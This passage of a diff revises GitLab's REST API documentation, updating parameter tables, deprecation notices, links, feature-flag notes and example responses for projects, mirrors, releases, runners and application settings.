@@ -1244,7 +1241,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your-token>" \
| `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). |
| `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. |
| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful pipelines. This setting is named [**Pipelines must succeed**](../user/project/merge_requests/merge_when_pipeline_succeeds.md#require-a-successful-pipeline-for-merge) in the project settings. |
-| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
+| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. |
| `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. |
| `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. |
| `printing_merge_request_link_enabled` | boolean | **{dotted-circle}** No | Show link to create/view merge request when pushing from the command line. |
@@ -1266,7 +1263,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your-token>" \
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
-| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. |
+| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. |
| `template_project_id` **(PREMIUM)** | integer | **{dotted-circle}** No | When used with `use_custom_template`, project ID of a custom project template. This is preferable to using `template_name` since `template_name` may be ambiguous. |
| `topics` | array | **{dotted-circle}** No | The list of topics for a project; put array of topics, that should be finally assigned to a project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ |
| `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. |
@@ -1327,7 +1324,7 @@ POST /projects/user/:user_id
| `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). |
| `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. |
| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. |
-| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
+| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. |
| `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. |
| `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. |
| `path` | string | **{dotted-circle}** No | Custom repository name for new project. By default generated based on name. |
@@ -1348,12 +1345,12 @@ POST /projects/user/:user_id
| `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. |
| `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
-| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/repository/web_editor.md#create-a-new-branch-from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ |
+| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ |
| `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ |
| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request [suggestions](../user/project/merge_requests/reviews/suggestions.md). |
| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
-| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. |
+| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. |
| `topics` | array | **{dotted-circle}** No | The list of topics for the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ |
| `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. |
| `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). |
@@ -1435,7 +1432,7 @@ Supported attributes:
| `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. |
| `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. |
| `only_mirror_protected_branches` **(PREMIUM)** | boolean | **{dotted-circle}** No | Only mirror protected branches. |
-| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
+| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. |
| `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. |
| `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. |
| `path` | string | **{dotted-circle}** No | Custom repository name for the project. By default generated based on name. |
@@ -1458,7 +1455,7 @@ Supported attributes:
| `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. |
| `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
-| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/repository/web_editor.md#create-a-new-branch-from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ |
+| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ |
| `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ |
| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. |
@@ -2888,7 +2885,14 @@ Example response:
## Configure pull mirroring for a project **(PREMIUM)**
-> Moved to GitLab Premium in 13.9.
+> - Moved to GitLab Premium in GitLab 13.9.
+> - Field `mirror_branch_regex` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default the field `mirror_branch_regex` is not available.
+To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md)
+named `mirror_only_branches_match_regex`.
+On GitLab.com, this feature is not available.
Configure pull mirroring while [creating a new project](#create-project)
or [updating an existing project](#edit-project) using the API
@@ -2906,6 +2910,7 @@ with the API scope enabled.
| `mirror` | boolean | **{check-circle}** Yes | Enables pull mirroring on project when set to `true`. |
| `mirror_trigger_builds`| boolean | **{dotted-circle}** No | Trigger pipelines for mirror updates when set to `true`. |
| `only_mirror_protected_branches`| boolean | **{dotted-circle}** No | Limits mirroring to only protected branches when set to `true`. |
+| `mirror_branch_regex` | String | **{dotted-circle}** No | Contains a regular expression. Only branches with names matching the regex are mirrored. Requires `only_mirror_protected_branches` to be disabled. |
## Start the pull mirroring process for a Project **(PREMIUM)**
diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md
index 96d4240b3ef..6b702ad7e03 100644
--- a/doc/api/protected_branches.md
+++ b/doc/api/protected_branches.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Protected branches API **(FREE)**
-**Valid access levels**
+## Valid access levels
The access levels are defined in the `ProtectedRefAccess.allowed_access_levels` method. Currently, these levels are recognized:
diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md
index 66d5775f499..d5d858c1647 100644
--- a/doc/api/releases/index.md
+++ b/doc/api/releases/index.md
@@ -41,6 +41,15 @@ GET /projects/:id/releases
| `sort` | string | no | The direction of the order. Either `desc` (default) for descending order or `asc` for ascending order. |
| `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. |
+If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following
+response attributes:
+
+| Attribute | Type | Description |
+|:---------------------|:--------|:------------------------------------- |
+| `[]._links` | object | Links of the release. |
+| `[]._links.self` | string | HTTP URL of the release. |
+| `[]._links.edit_url` | string | HTTP URL of the release's edit page. |
+
Example request:
```shell
@@ -226,7 +235,11 @@ Example response:
"filepath": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/evidence.json",
"collected_at": "2019-01-03T01:55:18.203Z"
}
- ]
+ ],
+ "_links": {
+ "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1",
+ "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit"
+ }
}
]
```
@@ -247,6 +260,15 @@ GET /projects/:id/releases/:tag_name
| `tag_name` | string | yes | The Git tag the release is associated with. |
| `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. |
+If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following
+response attributes:
+
+| Attribute | Type | Description |
+|:------------------|:--------|:------------------------------------- |
+| `_links` | object | Links of the release. |
+| `_links.self` | string | HTTP URL of the release. |
+| `_links.edit_url` | string | HTTP URL of the release's edit page. |
+
Example request:
```shell
@@ -359,7 +381,11 @@ Example response:
"sha": "760d6cdfb0879c3ffedec13af470e0f71cf52c6cde4d",
"filepath": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/evidence.json",
"collected_at": "2019-07-16T14:00:12.256Z"
- }
+ },
+ "_links": {
+ "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1",
+ "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit"
+ }
]
}
```
diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md
index bd59aa64e45..00dc34e261a 100644
--- a/doc/api/remote_mirrors.md
+++ b/doc/api/remote_mirrors.md
@@ -86,6 +86,14 @@ Learn how to [configure a pull mirror](projects.md#configure-pull-mirroring-for-
## Create a push mirror
+> Field `mirror_branch_regex` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default the field `mirror_branch_regex` is not available.
+To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md)
+named `mirror_only_branches_match_regex`.
+On GitLab.com, this feature is not available.
+
Push mirroring is disabled by default. To enable it, include the optional parameter
`enabled` when you create the mirror:
@@ -99,6 +107,7 @@ POST /projects/:id/remote_mirrors
| `enabled` | Boolean | no | Determines if the mirror is enabled. |
| `keep_divergent_refs` | Boolean | no | Determines if divergent refs are skipped. |
| `only_protected_branches` | Boolean | no | Determines if only protected branches are mirrored. |
+| `mirror_branch_regex` **(PREMIUM)** | String | no | Contains a regular expression. Only branches with names matching the regex are mirrored. Requires `only_protected_branches` to be disabled. |
Example request:
@@ -126,6 +135,12 @@ Example response:
## Update a remote mirror's attributes
+FLAG:
+On self-managed GitLab, by default the field `mirror_branch_regex` is not available.
+To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md)
+named `mirror_only_branches_match_regex`.
+On GitLab.com, this feature is not available.
+
Toggle a remote mirror on or off, or change which types of branches are
mirrored:
@@ -139,6 +154,7 @@ PUT /projects/:id/remote_mirrors/:mirror_id
| `enabled` | Boolean | no | Determines if the mirror is enabled. |
| `keep_divergent_refs` | Boolean | no | Determines if divergent refs are skipped. |
| `only_protected_branches` | Boolean | no | Determines if only protected branches are mirrored. |
+| `mirror_branch_regex`**(PREMIUM)** | String | no | Determines if only the branch whose name matches the regex is mirrored. It does not work with `only_protected_branches` enabled. |
Example request:
diff --git a/doc/api/repositories.md b/doc/api/repositories.md
index 428a09f1bbe..dcbb5d14741 100644
--- a/doc/api/repositories.md
+++ b/doc/api/repositories.md
@@ -171,7 +171,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/pr
This endpoint can be accessed without authentication if the repository is
publicly accessible. Diffs can have an empty diff string if
-[diff limits](../development/diffs.md#diff-limits) are reached.
+[diff limits](../development/merge_request_concepts/diffs/index.md#diff-limits) are reached.
```plaintext
GET /projects/:id/repository/compare
diff --git a/doc/api/runners.md b/doc/api/runners.md
index 62d5e41c877..c692faf9490 100644
--- a/doc/api/runners.md
+++ b/doc/api/runners.md
@@ -193,7 +193,7 @@ Get details of a runner.
At least the Maintainer role is required to get runner details at the
project and group level.
-Instance-level runner details via this endpoint are available to all signed in users.
+Instance-level runner details via this endpoint are available to all authenticated users.
```plaintext
GET /runners/:id
@@ -650,18 +650,18 @@ POST /runners
| Attribute | Type | Required | Description |
|--------------------|--------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `token` | string | yes | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): [Registration token](#registration-and-authentication-tokens). The registration token will be replaced by an authentication token in GitLab 16.0 |
-| `description` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Runner's description |
+| `token` | string | yes | [Registration token](#registration-and-authentication-tokens) |
+| `description` | string | no | Runner's description |
| `info` | hash | no | Runner's metadata. You can include `name`, `version`, `revision`, `platform`, and `architecture`, but only `version`, `platform`, and `architecture` are displayed in the Admin Area of the UI |
| `active` | boolean | no | Deprecated: Use `paused` instead. Specifies whether the runner is allowed to receive new jobs |
-| `paused` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should ignore new jobs |
-| `locked` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should be locked for the current project |
-| `run_untagged` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should handle untagged jobs |
-| `tag_list` | string array | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): A list of runner tags |
-| `access_level` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): The access level of the runner; `not_protected` or `ref_protected` |
-| `maximum_timeout` | integer | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Maximum timeout that limits the amount of time (in seconds) that runners can run jobs |
+| `paused` | boolean | no | Specifies whether the runner should ignore new jobs |
+| `locked` | boolean | no | Specifies whether the runner should be locked for the current project |
+| `run_untagged` | boolean | no | Specifies whether the runner should handle untagged jobs |
+| `tag_list` | string array | no | A list of runner tags |
+| `access_level` | string | no | The access level of the runner; `not_protected` or `ref_protected` |
+| `maximum_timeout` | integer | no | Maximum timeout that limits the amount of time (in seconds) that runners can run jobs |
| `maintainer_note` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/350730), see `maintenance_note` |
-| `maintenance_note` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Free-form maintenance notes for the runner (1024 characters) |
+| `maintenance_note` | string | no | Free-form maintenance notes for the runner (1024 characters) |
```shell
curl --request POST "https://gitlab.example.com/api/v4/runners" \
diff --git a/doc/api/scim.md b/doc/api/scim.md
index 0ee9779ccbd..46896d7a4c8 100644
--- a/doc/api/scim.md
+++ b/doc/api/scim.md
@@ -14,7 +14,7 @@ and provides the `/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_
To use this API, [Group SSO](../user/group/saml_sso/index.md) must be enabled for the group.
This API is only in use where [SCIM for Group SSO](../user/group/saml_sso/scim_setup.md) is enabled. It's a prerequisite to the creation of SCIM identities.
-Not to be confused with the [internal SCIM API](../development/internal_api/index.md#scim-api).
+Not to be confused with the [internal group SCIM API](../development/internal_api/index.md#group-scim-api).
## Get SCIM identities for a group
diff --git a/doc/api/search.md b/doc/api/search.md
index a59f943319c..f4540e899f0 100644
--- a/doc/api/search.md
+++ b/doc/api/search.md
@@ -59,6 +59,7 @@ Example response:
"ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git",
"http_url_to_repo": "http://localhost:3000/twitter/flight.git",
"web_url": "http://localhost:3000/twitter/flight",
+ "readme_url": "http://localhost:3000/twitter/flight/-/blob/master/README.md",
"avatar_url": null,
"star_count": 0,
"forks_count": 0,
@@ -478,6 +479,7 @@ Example response:
"ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git",
"http_url_to_repo": "http://localhost:3000/twitter/flight.git",
"web_url": "http://localhost:3000/twitter/flight",
+ "readme_url": "http://localhost:3000/twitter/flight/-/blob/master/README.md",
"avatar_url": null,
"star_count": 0,
"forks_count": 0,
diff --git a/doc/api/secure_files.md b/doc/api/secure_files.md
index c2c21134d6f..a47c9654557 100644
--- a/doc/api/secure_files.md
+++ b/doc/api/secure_files.md
@@ -7,11 +7,10 @@ type: reference, api
# Project-level Secure Files API **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../administration/feature_flags.md), disabled by default.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../administration/feature_flags.md), disabled by default.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/350748) in GitLab 15.7.
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available,
-ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `ci_secure_files`. Limited to 100 secure files per project. Files must be smaller than 5 MB. The feature is not ready for production use.
+Limited to 100 secure files per project. Files must be smaller than 5 MB. Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/).
## List project secure files
diff --git a/doc/api/settings.md b/doc/api/settings.md
index 7d55180db94..1fa491ef41c 100644
--- a/doc/api/settings.md
+++ b/doc/api/settings.md
@@ -226,7 +226,8 @@ Example response:
"external_pipeline_validation_service_url": null,
"can_create_group": false,
"jira_connect_application_key": "123",
- "jira_connect_proxy_url": "http://gitlab.example.com"
+ "jira_connect_proxy_url": "http://gitlab.example.com",
+ "user_defaults_to_private_profile": true
}
```
@@ -251,6 +252,8 @@ Example responses: **(PREMIUM SELF)**
## List of settings that can be accessed via API calls
+> Fields `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period` [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106963) in GitLab 15.8. Use `housekeeping_optimize_repository_period` instead.
+
In general, all settings are optional. Certain settings though, if enabled,
require other settings to be set to function properly. These requirements are
listed in the descriptions of the relevant settings.
@@ -268,6 +271,7 @@ listed in the descriptions of the relevant settings.
| `allow_local_requests_from_hooks_and_services` | boolean | no | (Deprecated: Use `allow_local_requests_from_web_hooks_and_services` instead) Allow requests to the local network from hooks and services. |
| `allow_local_requests_from_system_hooks` | boolean | no | Allow requests to the local network from system hooks. |
| `allow_local_requests_from_web_hooks_and_services` | boolean | no | Allow requests to the local network from web hooks and services. |
+| `allow_runner_registration_token` | boolean | no | Allow using a registration token to create a runner. Defaults to `true`. |
| `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs are considered as old and expired. After that time passes, the jobs are archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. |
| `asset_proxy_enabled` | boolean | no | (**If enabled, requires:** `asset_proxy_url`) Enable proxying of assets. GitLab restart is required to apply changes. |
| `asset_proxy_secret_key` | string | no | Shared secret with the asset proxy server. GitLab restart is required to apply changes. |
@@ -278,6 +282,7 @@ listed in the descriptions of the relevant settings.
| `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. |
| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. |
| `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage in a namespace. |
+| `bulk_import_enabled` | boolean | no | Enable migrating GitLab groups by direct transfer. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. Requires [`bulk_import_projects` feature flag](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) to also migrate projects. |
| `can_create_group` | boolean | no | Indicates whether users can create top-level groups. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/367754) in GitLab 15.5. Defaults to `true`. |
| `check_namespace_plan` **(PREMIUM)** | boolean | no | Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. |
| `commit_email_hostname` | string | no | Custom hostname (for private commit emails). |
@@ -375,11 +380,12 @@ listed in the descriptions of the relevant settings.
| `help_text` **(PREMIUM)** | string | no | GitLab server administrator information. |
| `hide_third_party_offers` | boolean | no | Do not display offers from third parties in GitLab. |
| `home_page_url` | string | no | Redirect to this URL when not logged in. |
-| `housekeeping_bitmaps_enabled` | boolean | no | Git pack file bitmap creation is always enabled and cannot be changed via API and UI. This API field is deprecated and always returns `true`. |
-| `housekeeping_enabled` | boolean | no | (**If enabled, requires:** `housekeeping_bitmaps_enabled`, `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period`) Enable or disable Git housekeeping. |
-| `housekeeping_full_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. |
-| `housekeeping_gc_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which `git gc` is run. |
-| `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. |
+| `housekeeping_bitmaps_enabled` | boolean | no | Deprecated. Git pack file bitmap creation is always enabled and cannot be changed via API and UI. Always returns `true`. |
+| `housekeeping_enabled` | boolean | no | Enable or disable Git housekeeping. Requires additional fields to be set. For more information, see [Housekeeping fields](#housekeeping-fields). |
+| `housekeeping_full_repack_period` | integer | no | Deprecated. Number of Git pushes after which an incremental `git repack` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields). |
+| `housekeeping_gc_period` | integer | no | Deprecated. Number of Git pushes after which `git gc` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields). |
+| `housekeeping_incremental_repack_period` | integer | no | Deprecated. Number of Git pushes after which an incremental `git repack` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields).|
+| `housekeeping_optimize_repository_period`| integer | no | Number of Git pushes after which an incremental `git repack` is run. |
| `html_emails_enabled` | boolean | no | Enable HTML emails. |
| `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. |
| `in_product_marketing_emails_enabled` | boolean | no | Enable [in-product marketing emails](../user/profile/notifications.md#global-notification-settings). Enabled by default. |
@@ -511,6 +517,7 @@ listed in the descriptions of the relevant settings.
| `user_deactivation_emails_enabled` | boolean | no | Send an email to users upon account deactivation. |
| `user_default_external` | boolean | no | Newly registered users are external by default. |
| `user_default_internal_regex` | string | no | Specify an email address regex pattern to identify default internal users. |
+| `user_defaults_to_private_profile` | boolean | no | Newly created users have private profile by default. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231301) in GitLab 15.8. Defaults to `false`. |
| `user_oauth_applications` | boolean | no | Allow users to register any application to use GitLab as an OAuth provider. |
| `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the `You won't be able to pull or push project code via SSH` warning shown to users with no uploaded SSH key. |
| `version_check_enabled` | boolean | no | Let GitLab inform you when an update is available. |
@@ -520,6 +527,28 @@ listed in the descriptions of the relevant settings.
| `jira_connect_application_key` | String | no | Application ID of the OAuth application that should be used to authenticate with the GitLab.com for Jira Cloud app |
| `jira_connect_proxy_url` | String | no | URL of the GitLab instance that should be used as a proxy for the GitLab.com for Jira Cloud app |
+## Housekeeping fields
+
+::Tabs
+
+:::TabTitle 15.8 and later
+
+If the `housekeeping_optimize_repository_period`
+field is set to an integer, housekeeping operations are performed after the number
+of Git pushes you specify.
+
+:::TabTitle 15.7 and earlier
+
+The `housekeeping_enabled` field enables or disables
+Git housekeeping. To function properly, this field requires `housekeeping_optimize_repository_period`
+to be set, or _all_ of these values to be set:
+
+- `housekeeping_bitmaps_enabled`
+- `housekeeping_full_repack_period`
+- `housekeeping_gc_period`
+
+::EndTabs
+
### Package Registry: Package file size limits
The package file size limits are not part of the Application settings API.
diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md
index 1ef5299668d..90cbe19112c 100644
--- a/doc/api/snippet_repository_storage_moves.md
+++ b/doc/api/snippet_repository_storage_moves.md
@@ -1,6 +1,6 @@
---
stage: Create
-group: Editor
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
type: reference
---
@@ -9,7 +9,7 @@ type: reference
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8.
-Snippet repositories can be moved between storages. This can be useful when
+Snippet repositories can be moved between storages. This API can help you when
[migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), for
example.
@@ -266,6 +266,8 @@ Example response:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8.
Schedules repository storage moves for each snippet repository stored on the source storage shard.
+This endpoint migrates all snippets at once. For more information, see
+[Move all snippets](../administration/operations/moving_repositories.md#move-all-snippets).
```plaintext
POST /snippet_repository_storage_moves
diff --git a/doc/api/snippets.md b/doc/api/snippets.md
index c312642a450..39965ae91f3 100644
--- a/doc/api/snippets.md
+++ b/doc/api/snippets.md
@@ -1,6 +1,6 @@
---
stage: Create
-group: Editor
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -20,7 +20,7 @@ Valid values for snippet visibility levels are:
| Visibility | Description |
|:-----------|:----------------------------------------------------|
| `private` | Snippet is visible only to the snippet creator. |
-| `internal` | Snippet is visible for any logged in user except [external users](../user/admin_area/external_users.md). |
+| `internal` | Snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md). |
| `public` | Snippet can be accessed without any authentication. |
## List all snippets for a user
diff --git a/doc/api/todos.md b/doc/api/todos.md
index 2bfae1972b7..b66270d2f5d 100644
--- a/doc/api/todos.md
+++ b/doc/api/todos.md
@@ -27,7 +27,7 @@ Parameters:
| `project_id` | integer | no | The ID of a project |
| `group_id` | integer | no | The ID of a group |
| `state` | string | no | The state of the to-do item. Can be either `pending` or `done` |
-| `type` | string | no | The type of to-do item. Can be either `Issue`, `MergeRequest`, `Commit`, `Epic`, `DesignManagement::Design`, `AlertManagement::Alert` or `Namespace` |
+| `type` | string | no | The type of to-do item. Can be either `Issue`, `MergeRequest`, `Commit`, `Epic`, `DesignManagement::Design` or `AlertManagement::Alert` |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/todos"
diff --git a/doc/api/topics.md b/doc/api/topics.md
index 13a5eabf8f9..8acf6bd645d 100644
--- a/doc/api/topics.md
+++ b/doc/api/topics.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/api/users.md b/doc/api/users.md
index 382d5fe03c1..a577dc26043 100644
--- a/doc/api/users.md
